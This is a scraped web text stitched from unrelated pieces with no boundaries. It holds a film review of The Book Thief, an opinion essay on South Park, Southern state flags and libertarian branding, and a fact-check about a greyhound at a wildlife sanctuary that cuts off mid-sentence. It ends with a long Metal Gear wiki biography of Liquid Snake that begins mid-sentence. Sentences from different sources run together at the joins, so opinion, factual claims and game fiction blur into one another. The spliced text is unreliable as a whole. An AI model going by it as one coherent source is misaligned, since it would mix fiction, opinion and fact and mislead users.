The Book Thief Thursday 9 January 2014 Listen to Jason di Rosso's full interview with Geoffrey Rush, and get his latest film reviews on The Final Cut, your guide to films worth talking about. More This [series episode segment] has image,
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REVIEW: Jason di Rosso on The Book Thief
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This adaptation of the holocaust novel by German Australian writer Markus Zusak, narrated by Death no less, is a film with some surprisingly cheery moments. Often war, especially when viewed through the eyes of children, can deliver some surprising moments of warmth, humour and play.
Anne Frank’s diary stands out as an example. And so, this story about a young girl handed over to elderly foster parents in a bleak German town—and the Jewish man who hides in their cellar—does play a lot lighter than you might expect. As the title suggests, the story is also about books, and as Germans start burning them in town squares across the country, the young protagonist, Leisel (Sophie Nélisse) becomes an avid reader, encouraged by her good-hearted step father (Geoffrey Rush), and even the sympathetic wife of the town’s Nazi big wig, who has a huge library in her house.
British director Brian Percival, who’s been plying his trade on Downton Abbey recently, finds a suitable compromise in this drama between the historical horrors and the innocence of the story’s central character. The film makes sense most as a kind of family friendly war allegory, though a few moments are powerful enough to shock even adults. It begins and ends with the image of a dead child, for example, and there’s a surreal scene with a school choir in Hitler youth uniform singing about evil Jews that’s, of course, all the more confronting because it’s based in historical fact.
At the preview screening I attended, the novel’s author Markus Zusak spoke about how he was inspired to write the book by the stories of the war he heard from his German parents while growing up in suburban Australia. This story feels like a tribute to the kind of everyday courage of people living through wartime, and enduring the madness of a regime like Hitler’s with bravery and resourcefulness.
Alongside Rush, Emily Watson, who plays the step mother, and Ben Schnetzer, who plays the young Jewish man, embody this kind of resilience. It’s enough to inspire Leisel, and despite a slightly sentimental tinge, her coming of age is quite powerful to watch.
Rated PG
This is an edited version of Geoffrey Rush's interview with Jason di Rosso. Find out more at The Final Cut.The chief philosophical sages of our age, obviously by that I refer to Matt Stone and Trey Parker of South Park, addressed this question somewhat in season 4 episode 7, Chef Goes Nanners. The relevant scene is at 7:44.
In this spoof of the state flag debates across the American South, in particular Georgia, Chef demands changes to the South Park flag because it is racist. To leave no doubt in the minds of the viewers that Chef is spot on, the flag is discovered to show four white people lynching a black man.
And yet, Jimbo and Nedd, the resident hunter rednecks of South Park disagree, offering what amounts to the same argument relied upon by most southerners who oppose changing their state flags: The flag is a part of our history, our traditions. While people in the past did racist things and perhaps some minority today holds racist views, the whole culture of the South was not built around racism, and the flag represents the whole culture, not just the sordid parts.
Now for a not so brief digression, I’m from Alabama. I confess I very much identify with Jimbo’s position at least regarding the flags of the southern states.
At my college, a history professor once posed the question, “Is Southern history inherently racist?” and after a particularly impressive display of heavy-handed sophistry, answered himself as “doubtlessly yes.” The redneck hairs stood up on the back of my neck and I felt myself trying to remember that line from Faulkner about it being 2 o’clock in the afternoon at Gettysburg, Pickett’s charge not ordered.
No one I knew growing up in Alabama thought a return to slavery was in order, yet to say something like Southern history is inherently racist, which is to say, the idea of the South itself is inherently racist, meaning that if I consider myself a Southerner or a part of that unique cultural, political region, that makes me racist. That’s incredibly offensive. What about all the African Americans and immigrants to the South who identify with the culture Are they by definition racists?
Imagine if the prof had said, “Are Jews greedy?” and then applied his syllogistic wizardry to a resounding yes, to which Cartman would applaud, or “Are all women secretly sluts?” or any other type of moralizing question that doesn’t accomplish the actual goal of a legitimate question. A real question unlocks the door to a new idea or shade of wisdom. When used as a tool to bludgeon people, it is amounts to pure sophistry, or in millennial dialect, “being a douchey blowhard.” I think most people would be as offended at such questions as I was. While I recognize the evils of slavery and the evils they wrought throughout the American South, I do believe that there is more to the South than racism. When I think of the South, I don’t think of plantation owning whites (of which I know zero), I think of all ethnicities, mini-cultures, genders, sexual orientations, etc who are living in the South and have lived there contributing to the constant evolution of its culture.
So it was with this mindset that I watched the protest of Chef (flag is racist) and the rednecks (flag is history, not racist), feeling sympathy for both sides. Then the Klan shows up.
I am not only from Alabama I am from the middle of nowhere northern hills of that state where one would expect to find the Klan if still extant. I never saw nor knew of any Klansman, which is not to say there were not any, but they were not exactly standing at the local gas station signing up recruits. Anything done must have been in secret because where I am from the Klan is not only considered a shameful, disgraceful thing, to say that you were involved in such a thing would be like saying you were in NAMBLA. I can’t really think of a modern day worse institution besides Al Qaeda or the Kim government in North Korea.
In South Park, the Klan shows up to defend the rednecks’ position, only with a twist. They want the flag to stay the same because it IS racist. When Jimbo explains that they don’t agree with the Klan, that they don’t think the flag is racist, the Klan leader says, “Well whether you like it or not, we’re on your side, brother!” And they join that side of the protest shouting “White Power! White Power!”
Rather than the South, this made me think of libertarians. Personally I largely agree with the political expression of libertarian ideals: individual rights, property rights, non-initiation of force or coercion, free markets, free trade, personal freedom and tolerance. But for a variety of reasons, I don’t always identify as a libertarian. One of the reasons is that so many fringe groups with bizarre ideas have identified with the libertarian brand. Now the general public seems to think libertarian means: pot smoking hippie, 9/11 truther, who believes Obama was born in Indonesia, that the world is going to end imminently, and that vaccines are giving us all autism.
Yet, I feel passionately about the ideas of liberty, that they are true, and that if put into practice would produce prosperity and well being for all humanity.
But what do you do if crazies who agree with some of your ideas go on local news shouting, “Ron Paul!” in one breath and “9/11 was an inside job” with the next?
Do we roll our eyes and tolerate that diversity of opinion, even if it sinks the chances of our ideas going mainstream to the depths of the Marianna trench?
Do we invent a new name and then become a parody of ourselves like Monty Python’s People’s Front of Judea and the Judean People’s Front?
Do we need to hire Don Draper for a rebrand? How can we prevent the same thing from happening again and again?
Ideally people should look past the motivations of those supporting ideas and look to the ideas themselves. What does it say about you when you are more concerned with who is expressing an idea over the idea itself? Doesn’t it in some ways smack of the same “racist” thinking we all object to? It need not be race. It could be stay at home, homeschooling Christian moms; oil barons; or conservative black men and women.
For those who would call the first “traitors to their sex”, the second “greedy planet-rapers”, and the third “Uncle Tom’s”; doesn’t it seem odd that you are more concerned with who these people are, than the logical coherency of their ideas or whether the ideas are supported by evidence?
In a perfect world, everyone would understand the logical fallacy of argument ad hominem and that the identity of the arguer does not impact or alter the merits of the ideas in themselves. But we are not in a perfect world.
So what do we do in the mean time?Claim: Photographs show Jasmine, a greyhound who cares for other animals at a wildlife sanctuary.
TRUE
Example: [Collected via e-mail, March 2009]
In 2003, police in Warwickshire, England, opened a garden shed and found a whimpering, cowering dog. It had been locked in the shed and abandoned. It was dirty and malnourished, and had clearly been abused.
In an act of kindness, the police took the dog, which was a Greyhound female, to the nearby Nuneaton Warwickshire Wildlife Sanctuary, run by a man named Geoff Grewcock and known as a willing haven for Animals abandoned, orphaned or otherwise in need.
Geoff and the other sanctuary staff went to work with two aims to restore the dog to full health, and to win her trust. It took several weeks, but eventually both goals were achieved.
They named her Jasmine, and they started to think about finding her an adoptive home.
But Jasmine had other ideas. No-one remembers now how it began, but she started welcoming all Animal arrivals at the sanctuary. It wouldn’t matter if it was a puppy, a fox cub, a rabbit or, any other lost or hurting Animal, Jasmine would peer into the box or cage and, where possible, deliver a welcoming lick.
Geoff relates one of the early incidents. “We had two puppies that had been abandoned by a nearby railway line. One was a Lakeland Terrier |
other subjects, the Les Enfants Terribles project and Eli's disappearance in Africa, with Ocelot noticing that he was still on the loose, and that the British government had made no real effort to recover him, seeing it as a sign that they had essentially abandoned him. Ocelot then pointed out that it was highly likely that, in the course of using Venom Snake and Diamond Dogs to rebuild Mother Base and hunt for Cipher, Eli would be encountered, as their business would sooner or later bring them close to the area where he was last seen. Big Boss replied that he didn't see Eli as his son and had nothing to say to him, but said that if he was encountered he should still be treated like a human being and nothing more. During this time, after most of the adults disappeared, he took up several remaining child soldiers and formed his own militia where they raided several villages and killed people, doing so enough times that he became rather infamous for his raids, eventually having the locals demand that a PF wipe them out.
Later in 1984, a twelve year-old Eli, primarily known by the moniker "White Mamba," encountered Venom Snake. Eli and his band of child soldiers had taken up residence in Masa Village, and Venom Snake was sent to extract him, in hopes of having the group fall apart without their leader. He encountered Eli sitting on a throne-like garden chair with the head of a pig on a platter (evoking imagery used in the novel Lord of the Flies). During the encounter, Eli challenged Snake to a fight. After a brief struggle, Eli was thrown to the ground by his older opponent; unwilling to submit, he pinned Venom Snake to a wall using a chair, then proceeded to draw a knife in attempt to stab him. Venom Snake disarmed Eli and threw him to the ground, driving the same knife into the ground beside Eli's head. Snake subdued Eli and brought him and his group of child soldiers back to Mother Base, confused by Eli's inherent hostility towards him. Once at Mother Base, Venom Snake playfully slapped Eli on the back; angered by this display of apparent friendship with the man he hated the most, Eli stole Snake's knife off his back and attacked him with it. Snake easily subdued him once again using CQC and dislocated his arm, later popping it back into place and leaving him to hopefully calm down. As a child on Mother Base, it was planned for Eli to receive an education and be sent back into the world to become a useful citizen. However, his headstrong and irritable attitude made this process next to impossible.
Later, as Venom Snake returned to Mother Base from a day in the field, he witnessed Eli speaking with a fellow child soldier. The child mentioned his "papa" to Eli, making Eli throw a fit about the fact his compatriot would even look up to an adult. A Diamond Dogs soldier attempted to reprimand him, but soon found his own knife stolen and held at his neck by the enraged child. Ocelot attempted to confiscate the knife, but was met with resistance and was forced to perform CQC on him. After losing the knife Eli still put up his fists, but found himself quickly beaten back down. Ocelot then sent him off with a disapproving look, fully aware of the child's true origins.
During the final confrontation between Venom Snake and Skull Face's forces, Eli had smuggled himself onto a Diamond Dogs helicopter in an attempt so see some real action, much to the chagrin of Miller. Unbeknownst to either Venom Snake and Skull Face, Eli had been in contact with Tretij Rebenok, the boy who would become Psycho Mantis. Rebenok, who felt psychically attracted to people who was driven by strong hatred, had identified Eli's feelings of hate towards Big Boss as even greater than those of his former employer, Skull Face, and had therefore switched his allegiance to Eli and imprinted on him, allowing himself be used as a conduit by Eli to hijack Metal Gear Sahelanthropus in order for Eli to enact his vengeance against Venom Snake. Eli influenced the Metal Gear to chase down Venom Snake, but the Metal Gear was stopped by a narrow gap in the canyon it was running in, forcing Eli to switch the Metal Gear into a more humanoid configuration and later causing further mayhem with what seems to be a plasma whip. Wreaking havoc on Skull Face's forces, the Metal Gear decidedly attacked Skull Face himself, causing him to become trapped under a large amount of debris. Eli would then focus his efforts on attempting to kill Venom Snake once again by using the Metal Gear. After a prolonged battle, Venom Snake was able to incapacitate the Metal Gear, thus removing Eli's control over it. However, in the run-up to Skull Face's death, and the disposal of the parasite vials, Eli managed to receive the remaining parasite vial of the English language strain from Tretij Rebenok who had intercepted it before it could be destroyed when Venom Snake discarded it.
Eli was eventually subjected to a DNA test, which confirmed that he and Venom Snake were not a genetic match. This later turned out to be a foreshadowing to the fact that Venom Snake actually was a "phantom" of Big Boss and therefore had different DNA than him.
Diamond Dogs extracted Sahelanthropus and repaired it back on Mother Base; it was around this time Eli began to plan an escape for the various child soldiers at Mother Base, causing an "accident" involving pipes that killed one of the child soldiers, Ralph. While Venom Snake went out in search of the missing children, Eli began organizing a revolt against the adults on Mother Base, having the children construct makeshift weapons in order cause trouble for the mercenaries. Part of his planned involved taking advantage of Miller's new-found responsibilities for the children, allowing him and his band to avoid being put in containment for bad behaviour on the base until Miller was relieved of his duties as the children's caretaker by Ocelot, having failed to keep the situation contained. Eli was eventually caught and placed under surveillance. Unfortunately, he had fully anticipated this and proceeded to escape the interrogation room with the aid of Tretij Rebenok and the Metal Gear in the middle of an interrogation session with Ocelot and Miller in attendance and Venom Snake watching in behind a two-way mirror. Eli then boarded the hijacked Metal Gear and left, though not before telling his "father" that he was not like him, and that he didn't need him any more.
Eli and Tretij Rebenok would take the rest of the child soldiers back to Africa via helicopter, establishing a new stronghold that was likened to the Lord of the Flies. They made it fifty miles inland upon arriving at Africa before they were forced to land the hijacked chopper due to it running out of fuel. Eli and his child soldiers then deliberately tied the chopper pilot to his seat with vines and duct tape to ensure Diamond Dogs, whom he anticipated would pursue him, found the pilot, sending a message that he intends to fight them. Unbeknownst to him, however, XOF, now reintegrated with Cipher, were also pursuing him and his "giant in the sky."[11] To prepare for Venom Snake's arrival, Eli and his soldiers set up traps all over the island and had banished the island's population.
Diamond Dogs had meanwhile also learned through their Intelligence Team that Eli had been infected by the English parasite strain, and was therefore more determined to capture him than ever, both to make sure the parasites were destroyed for good and also make sure they wouldn't fall into the hands of XOF again. Eli had meanwhile infected the island with the parasite, but, fortunately, his decision to hide out on a salt lake island meant that the parasite was contained for time being, as it was unable to cross salt water barriers naturally. And though Eli and his men weren't in any immediate danger from the parasite infection, as it only affected infected individuals whose voice had broken, but Eli's voice was, due to his advance ageing, starting to change, so it would only be a matter of short time before his infection would go into outbreak.
Both Diamond Dogs and XOF decided to move against Eli almost simultaneously, the former sending in Venom Snake with orders to capture Eli and his boys and recover Sahelanthropus, and the latter deploying a strike force to kill Eli and reclaim their investment. The strike force arrived slightly before Snake made his landfall, and despite Snake's best efforts, and many of them falling victims to booby traps set up by Eli's boys, they were able to locate Eli and Sahelanthropus' cockpit just before he did. Slowly approaching Sahelanthropus, an XOF marksman attempted to snipe Eli while he was in the cockpit of the Metal Gear, only for Tretij Rebenok to appear and shield Eli with his powers. A full blown fire fight ensued, with the XOF troopers throwing everything they had at Eli, but due to being in control of Sahelanthropus and having Rebenok on his side, he made short work of them, before discovering Venom Snake, who had taken cover behind some rocks nearby. Eli briefly opened the cockpit to taunt Snake, whom he still believed to be his father, the real Big Boss, declaring he would kill him and thereby break his heritage.
A fierce fight followed, but Snake ended up with the upper hand, being able to damage Sahelanthropus to a point it was unable to move and Eli had to eject himself from it. Ceasing this moment of weakness, the surviving XOF troopers moved in to make another attempt on Eli's life, with Snake desperately attempting to fight them off. During the fire fight, Snake suffered a head injury, which triggered a seizure in his brain, and made him momentarily unable to distinguish red and white colors, leading him to mistake the red-dressed Eli for one of the white-dressed XOF troopers, and he accidentally shot him in the heat of the battle. As the dust settled and Snake's temporary color blindness disappeared, he realized what he had done and ran to Eli's unmoving body, lamenting his mistake.
Following Eli's defeat, the Diamond Dogs arrived on island in force, and while Eli's child soldiers were being evacuated and Sahelanthropus was being readied for transport, a medic was able to examine Eli, discovering that he was still alive, as he had donned a bulletproof vest prior to the battle, meaning that the shot had merely knocked him unconscious. Venom Snake ordered that Eli was to be evacuated too, but just then Eli started coming to, and the medical team, realized to their horror that his parasites were starting to go into outbreak. Still unable to stand, Eli lamented that his fate was written into his genes as Venom Snake looked over him. Eli declared that regardless of his status as a flawed copy of Big Boss, he still had every intention of one day surpassing and destroying his father, going on to say that he would even kill all of Cipher and then destroy everything Big Boss held dear. As Diamond Dogs prepared to sterilize the entire island with napalm, Venom Snake pointed his gun at Eli, preparing to mercy kill him, rather than let him die from the parasites or the napalm bombing. Snake, however, found that he couldn't pulling the trigger on the boy, as he had come to respect him too much, telling Eli that he was "one hell of a soldier." Eli's reply was merely to angrily declare his hatred of Big Boss once again. Snake then unloaded his gun before placing the weapon a few feet away from him with a single bullet left in the chamber, telling Eli: "That's right. Don't blame yourself. Blame me." He then left Eli to decide his fate.
Eli's first reaction was stumble forward and grab the gun, angrily it aiming at Snake's back. But as he watched Diamond Dogs leaving the island with Sahelanthropus and his former men, he realized the completeness of his defeat, and instead placed the gun against his own temple, preparing to commit suicide. But before he could pull the trigger Tretij Rebenok appeared before him and stopped him. Rebenok then used his powers to extract the parasites from him, and convinced Eli to leave with him, levitating them both to safety as Diamond Dogs started bombing the island with napalm. After they both landed in an undisclosed location near the island, a determined Eli started walking forward, with Rebenok following quietly behind him. As Eli glared forward into the distance, he vowed that it "[wasn't] over yet."[12][13]
Adulthood
In 1990, Liquid joined the British Special Air Service, becoming the youngest person in history to join its ranks, excelling at parachuting, rappelling, scuba diving, free climbing, and use of small arms and military vehicles. During the Gulf War in Iraq, he was assigned to an SAS unit to track down and destroy mobile Scud missiles. In truth, he infiltrated the Middle East as a sleeper agent for the British Secret Intelligence Service, but he was taken prisoner by the Iraqis and declared missing in action.[3] In 1994, he was rescued by the U.S. Government.[3]
After Solid Snake defeated Big Boss during the Zanzibar Land Disturbance in 1999, Liquid's hatred and envy for Snake grew, since he had been denied the chance to exact his revenge on the father he believed had chosen him to be the inferior clone.[14] He was eventually reunited with his old ally Mantis and the two joined FOXHOUND in 2000, with Liquid becoming its squad leader after Snake had already retired from the unit.[3] Despite codenames having previously been abandoned under Roy Campbell's command, new members of the unit adopted the system once more. In addition, Liquid's real name was highly classified.[15]
Main article: Shadow Moses Incident
In February 2005, FOXHOUND subordinate Revolver Ocelot convinced Liquid Snake to launch an insurrection against the U.S. Government, during a weapons testing exercise on Shadow Moses Island. Along with the other members of FOXHOUND and the Next-Generation Special Forces, they seized control of the island's nuclear weapons disposal site and Metal Gear REX. Calling themselves the Sons of Big Boss, the group took DARPA Chief Donald Anderson and ArmsTech President Kenneth Baker as hostages, and threatened the White House with a nuclear strike unless Liquid's demand was met: the body of Big Boss. The incident was deliberately brought about to coincide with the signing of the START III Accord between the U.S. and Russia: exposing REX's existence would put the signing of the treaty in jeopardy, erode confidence in America’s commitment to non-proliferation, and create international turmoil.
After Anderson died during Ocelot's interrogation, Liquid arrived at a setback, having failed to learn the DARPA Chief's activation code for REX both due to the botched interrogation and Psycho Mantis being unable to retrieve the code via his mind-reading abilities. Unable to back up his threat of a nuclear strike, Mantis suggested to Liquid that Decoy Octopus disguise himself as an imprisoned Anderson, to await rescue from U.S. forces.[16] Liquid anticipated that his clone brother Solid Snake would be sent in to eliminate the terrorist threat, and intended to trick him into activating REX for them, as a backup plan. Liquid also arranged for McDonell Benedict Miller to be murdered at his home so that he could assume the role of Snake's former mentor and influence his actions via Codec, after tricking Colonel Campbell into allowing him onto the mission support staff.[17]
Alerting the Genome Soldiers of Solid Snake's imminent arrival on the island, Liquid headed out to intercept two F-16s that had been launched by the Pentagon as a diversion. Using a Hind D gunship, provided to him by Sergei Gurlukovich, Liquid successfully shot down the two fighters with his uncanny piloting skills. He then issued a threat to the U.S. Government, warning that he would launch the nuke should they attempt a similar assault. While impersonating McDonell Miller, Liquid then made contact with Snake and offered his support to the unassuming operative. However, Liquid's plans were further complicated when Decoy Octopus unexpectedly died from unknown causes, after coming into contact with Snake. When Baker died under similar circumstances, Liquid set out to discover the cause of the mysterious deaths. Nevertheless, he ordered Ocelot and Vulcan Raven not to kill him, wishing to further see what Snake was capable of. During this time, Liquid secretly observed directly Snake's actions and reactions to killing his comrades.[18]
When Solid Snake was later captured by Sniper Wolf, Liquid intended to obtain a DNA sample from him, in order to learn more of the Genome Soldiers' various mutations. After Snake awoke from unconsciousness, Liquid introduced himself to his brother, meeting him face-to-face for the first time. He then gave the order to continue REX's launch preparations as planned, due to U.S. government's lack of response to his demands upon Vulcan Raven updating him via cell phone. He suspected that they must have an ace up their sleeve, and that there was may be a spy among his ranks, questioning the motives of the mysterious Cyborg Ninja that had managed to kill twelve of his men. He left Ocelot to interrogate Snake, but warned him not to make the same mistake as he did with the DARPA Chief.
After Snake managed to escape from the medical facility, Liquid attacked him with the Hind D as he attempted to cross over the communications towers. The Russian gunship menaced Snake several times before a final showdown on the roof of one tower. Following an intense battle, the Hind eventually went down in flames due to stinger missiles fired by Snake, though Liquid was able to survive.[19] Continuing his Master Miller impersonation, he then tricked Snake into focusing on his mission support adviser Naomi Hunter as an enemy spy. Utilizing the distraction, Liquid ultimately deceived Snake into activating Metal Gear REX with the ArmsTech President's PAL key, since he had been unable to do so without it.
Through information supplied by a spy in the Pentagon, Liquid learned that Decoy Octopus's and President Baker's deaths had been caused by FOXDIE; a DIA assassination virus with which Solid Snake had secretly been infected. He then added a FOXDIE vaccine to FOXHOUND's demands, along with one billion dollars to help correct the Genome Soldiers' mutations, using information gathered from Big Boss's DNA. Deciding to play the superpowers against one another, rather than take them head on, Liquid disregarded Ocelot’s suggestion of Chernoton, Russia, as a target, and instead chose Lop Nor, China, which was the location of a nuclear test site. Since firing a nuke at a major population center would make future negotiations impossible, an attack on a nuclear test site could still be concealed from the public. The U.S. would be forced to confess some of its state secrets to prevent a retaliatory strike from China, after which Liquid could sell the nuclear weapon system to the highest bidder. Not only that, but with Metal Gear REX in his possession, Liquid planned to join forces with Colonel Gurlukovich's forces, and turn Shadow Moses into a new "Outer Heaven." With these vast resources at his command, Liquid would drag the world into a Third World War, fulfilling Big Boss's dream of a world which always had a place for soldiers. Liquid, resuming his Miller disguise, also advised Snake to change the PAL key, although by the time Snake managed to change it to the red PAL key, he almost blew his cover in excitement that Snake was getting close to activating REX, although he summarily covered it up by claiming that he's just excited that Snake's about to succeed in the mission.
After Solid Snake unwittingly activated Metal Gear REX, Liquid revealed his deception as Master Miller to Snake and locked him within the launch control room. Having no more use for Snake, he released nerve gas into the room, though Snake managed to escape with Otacon's help. Eventually cornered by Snake, Liquid revealed the existence of FOXDIE to him, and that the Pentagon wished to recover REX and the Genome Soldiers' remains without damage. Expressing his hatred for Big Boss, Liquid told Snake that he intended to destroy their father by surpassing him, and escaped into REX's cockpit to engage Snake in battle. However, Gray Fox interrupted the battle, saving Snake from being crushed by Liquid, with Liquid vowing to "send [Fox] back to Hell" in retaliation. Snake and Fox then escaped to cover and conversed while Liquid was firing everywhere, looking for the two. He finally found them and open fired, focusing on Gray Fox first. Fox managed to attack REX with his armament, but Liquid managed to shoot him once, and slice his left arm off with the laser on REX. Pinning Fox down, he mocked the two, asking Snake if he was going to help him out at all, but Fox then destroyed the radome, exposing Liquid. Liquid, although impressed at Gray Fox's destruction of the radome, nonetheless killed Fox shortly thereafter by stomping on him with REX. He and Snake then went at it again. After Snake managed to score a few hits in the cockpit, REX was rendered inoperable, but the explosion knocked him out.
Having survived the explosion, Liquid dragged Snake to the top of REX, and directly threatened the Pentagon via Snake's Codec implant.[20] As Snake regained consciousness, Liquid told him that he wouldn't be killed so long as Snake lived, and even with the destruction of REX, his fight was not over yet. He explained to Snake that his ultimate goal was to give soldiers a purpose again, especially since soldiers continued to be abused by hypocritical politicians and political gambits. He also deduced that Snake, despite his protestations, enjoyed the thrill of battle and would welcome the prospect of a war-torn world, which he intended to create. Liquid then revealed to Snake the history of their own creation, as well as that of the Genome Soldiers, and the reason why they needed Big Boss's remains. He then revealed that while Snake was still unconscious, he had placed a prone Meryl Silverburgh on top of REX as well as wiring her to a timed explosive. With a bombing raid on the facility, ordered by the U.S Secretary of Defense, due to commence shortly, Liquid and Snake battled barehanded atop REX's ruins. Snake eventually managed to knock Liquid off to the floor far below.
Though it seemed that Snake was victorious, Liquid survived the fall from REX. A car chase ensued as Liquid raced after Snake and Meryl by jeep as they were trying to escape from the impending nuclear strike via a supply tunnel. Using a FAMAS rifle to attack, Liquid was kept at bay by Snake's machine gun fire, until both jeeps crashed at the tunnel entrance, just outside the facility. Minutes later, Liquid emerged from the wreck of his jeep, bloody and wounded but still alive. He staggered towards Snake and Meryl, FAMAS in hand. Just as he was about to kill them, as they were both trapped underneath their vehicle, Liquid suddenly lurched backwards and collapsed to the ground, succumbing to the FOXDIE virus.
After death
Afterwards, Revolver Ocelot informed Solidus Snake that Liquid had wrongly believed himself to be the inferior one right until his death.[21] Solidus had Liquid's body recovered, and the right arm transplanted onto Ocelot, replacing the one he had lost to the Cyborg Ninja. Afterwards, Liquid's corpse was put into cold storage.[22]
Meanwhile, Liquid's corpse was stolen by Solid Snake and Otacon to fake the former's death in 2007[22] and eventually ended up interred and later exhumed for DNA testing, which was mistakenly used to verify Snake's death in 2009.[23] By 2007, Liquid's personality had been implanted into Revolver Ocelot's mind. However, the presence of Liquid's transplanted arm resulted in an imbalance in Ocelot's psyche, resulting in Liquid manifesting sporadically. Liquid's personality presumably achieved full control over Ocelot's mind in 2009.
By 2014, Liquid's persona had completely fused with Revolver Ocelot's and created the new entity Liquid Ocelot despite the replacement of his transplanted arm with a cybernetic prosthesis. Being his doppelgänger, Ocelot retained Liquid's ambitions to set off to bring about his own vision of Outer Heaven as well as the destruction of the Patriots. During this time, a DNA chip containing Liquid's genome was used by Ocelot during a failed attempt to hack into the SOP system. It was revealed by Naomi that Liquid and Snake were not 100% identical genetic matches, even though they were similar enough to fool a DNA testing, which is why FOXDIE only affected Liquid in Shadow Moses but spared him. Meanwhile, EVA used body parts from Liquid and Solidus to reconstruct Big Boss. Liquid's likeness, alongside that of Solidus, Solid Snake and Big Boss, was later displayed in a Mt. Rushmore-like feature on Outer Haven's hull, at Shadow Moses Island. Liquid's persona ultimately faded away during Ocelot's final battle with Solid Snake.
Personality and traits
Liquid Snake displayed an arrogant and extroverted attitude in stark contrast to Solid Snake's more calm and collected personality. He was described as having an "attitude problem" by Miller. He was incredibly resentful and bitter towards Big Boss, believing he had been knowingly chosen by the man to be his "inferior" clone, whereas his brother Snake was endowed with "superior" genes. This drove him to surpass his supposed genetic destiny, and in essence, his father. His hatred was such that when Snake compared him to the then-detained Naomi Hunter regarding his motives, Liquid didn't even deny it. When he was younger, his hatred for Big Boss was intense enough that he reacted violently to even the mere mention of the subject of fathers or even parents, as evidenced by his becoming threatening to one of the soldiers in his squad when the latter relayed to him how his own father was doing with his work in the mines, as well as his instantly attacking Venom Snake when they first met after the latter expressed doubts that his parents named him "White Mamba", and was also severe enough that it overpowered both Skull Face and Volgin's control over Tretij Rebenok (both of whom did so due to their mutual hatred of Big Boss). In addition, he bore hatred towards the Patriots as he had hunted them down for some time, and vowed to deal with them in such a manner as to "cause even the reaper's stomach to turn." He was also shown to have a lot of self-loathing to the extent of being suicidal in his younger years, as evidenced by his comment about freeing himself from his cursed heritage when about to fight Venom Snake, his lamentation about his fate being written into his genes, as well as his deeply considering suicide until he was convinced otherwise.
As a young boy, Liquid despised adult authority due to his handlers' treatment of him and broke away from them while in Africa to form his own personal militia. When Venom Snake captured him, Liquid did not say a word to him and rudely refused Venom Snake's offers of help. He hated being treated as a kid, as when Venom Snake patted him on the back, Liquid almost immediately tried to kill him by taking his knife, only to have his right arm dislocated, which Snake immediately put back after lecturing him about respect and loyalty. Even as a young child, Liquid showed psychopathic behavior, laughing in delight as he escaped Mother Base with Sahelanthropus and obsessively focusing his life on killing Venom Snake. The destruction Liquid caused while telepathically controlling the Metal Gear shocked even Skull Face himself. He also was bad at understanding basic biology.
Due to his genetic engineering and being endowed with Big Boss' superior soldier genes, Liquid had enhanced strength, speed, durability, knowledge and skills in combat. He was better than the average soldier, easily disarming and pinning one to the ground. Being a commander of a troop of child soldiers who raided several villages, he even held his own against Venom Snake in hand to hand combat, dodging and countering his CQC attacks and even evading his gunfire while pinning him to a metal wall with a plastic chair.
As he got older, his fighting and physical prowess had strengthened even more. He became the youngest member of the Special Air Service, excelling at parachuting, rappelling, Scuba diving, free climbing, and use in small arms and military vehicles. Liquid became the squad commander of FOXHOUND, possessed an IQ of 180, spoke seven languages (English, French, Spanish, Malay, Kikongo, and Arabic speaking it like a native).
In contrast to Solid Snake and Big Boss, Liquid showed an apparent lack of compassion and loyalty to his allies and only seemed to view them as pawns at best. After Snake defeated Psycho Mantis and Sniper Wolf, Liquid thought they were pathetic and foolish for not fighting more effectively. In addition, before Vulcan Raven fought Snake for the final time, Liquid told him "[his] existence [was] no longer needed in this world." He also implied that the only reason he even bothered trying to get Big Boss's genes to cure the various Genome Soldiers of their genetic problems was more due to feeling compelled to do so via sharing the same genes and self-interest rather than genuinely caring for their well being. However, he did seem to possess some skewed sense of pride and honor by letting Snake live to fight him unbound and unarmed in a one-on-one duel (presumably in an attempt to feed his ego). Despite his nature, Liquid was shown to be merciful as he let Meryl live when Ocelot offered to kill her. However, he did this moreso to use her as a pawn against Snake.
In large part because of his upbringing and his knowledge of how he was conceived, he harbored a belief that he should follow what his genes told him, under the hopes that he would surpass his genetic destiny. He also largely believed for the same reasons that he couldn't become anything else than a soldier, and wouldn't have the right to even possess a real name, reacting angrily at one point when Snake claimed that he did have a name other than his codename. His loathing of his real name had been there since his youth, as he reacted violently when one of his fellow soldiers addressed him as such.
Liquid was an especially adept pilot; as demonstrated by his piloting of a Hind D during a blizzard when the gunships IR and navigation systems were nonfunctional, especially in combat against two F-16s, as well as co-pilot it from within the weapons operator's cockpit, which Revolver Ocelot attributed to the successes of the "Les Enfant Terribles" project.[24] He would later use the same chopper to combat Snake.
Liquid was skilled at disguising himself, as evidenced by his deception as Master Miller to trick Snake and the mission control into unwittingly activating REX with the PAL key. However, he did have trouble maintaining his disguise when undergoing intense emotions. This was demonstrated twice during the Shadow Moses Incident: the first time was when he reacted with anger over Ocelot leaving a time bomb among Snake's belongings when he escaped (causing him to narrowly stop himself and regain his composure when he came too close to saying too much). The second time was nearing the end of the mission, having a suspiciously excited reaction when Snake managed to heat up the key, causing Snake to wonder why "Miller" was feeling oddly happy about it.
Liquid often displayed high levels of endurance, having survived numerous, seemingly fatal, events over the course of his life. This survivability could be attributed to him possessing the dominant genes of Big Boss and, therefore, superior physical abilities compared to other clones. This included:
As a kid, he could take a lot punishment, including several CQC strike combos and slams from Venom Snake, but kept on fighting.
His body was able to withstand freezing temperatures for several minutes with little clothing or protection.
He was shot down in the Hind D, the explosion of which Snake could see from the top of the communications towers.
During the REX battle, Liquid survived the multiple stinger missile hits on the cockpit, and was still inside REX when it finally blew up. The force of that explosion was sufficient to bodily hurl Snake across the room and slam him into a wall. However, once again, Liquid emerged relatively unscathed, dragging Snake to the top of REX's remains for a final fight.
At the conclusion of the brawl, Liquid survived a fall of over 10 meters (40 feet) from the top of REX, when he had claimed beforehand that such a fall would kill even Snake.
Immediately afterwards, Liquid gave chase to Snake and Meryl, eventually causing both vehicles to crash. Dragging himself from the wreckage, staggering but still alive, he attempted to finish off Snake, but succumbed to FOXDIE before he could.
Japanese heritage
Being a somatic cell clone of Big Boss, Liquid Snake inherited mitochondrial DNA from the Japanese egg donor of Les Enfants Terribles. Liquid and Solid Snake were also somewhat aware of their Japanese heritage. During the Shadow Moses Incident, Liquid almost let slip his true identity, while posing as Master Miller, when discussing Snake's and Vulcan Raven's common ancestry.[25]
Unconfirmed history
The following information has been detailed in official Konami-licensed media, written by various external authors. Its status in the Metal Gear canon is unconfirmed.[?]
The Twin Snakes were born as a result of a ninth batch of clones, in Carlsbad, New Mexico.[26] After Liquid was sent to Great Britain, he experienced a harsh childhood where he received an education and combat training courtesy of MI5.[27]
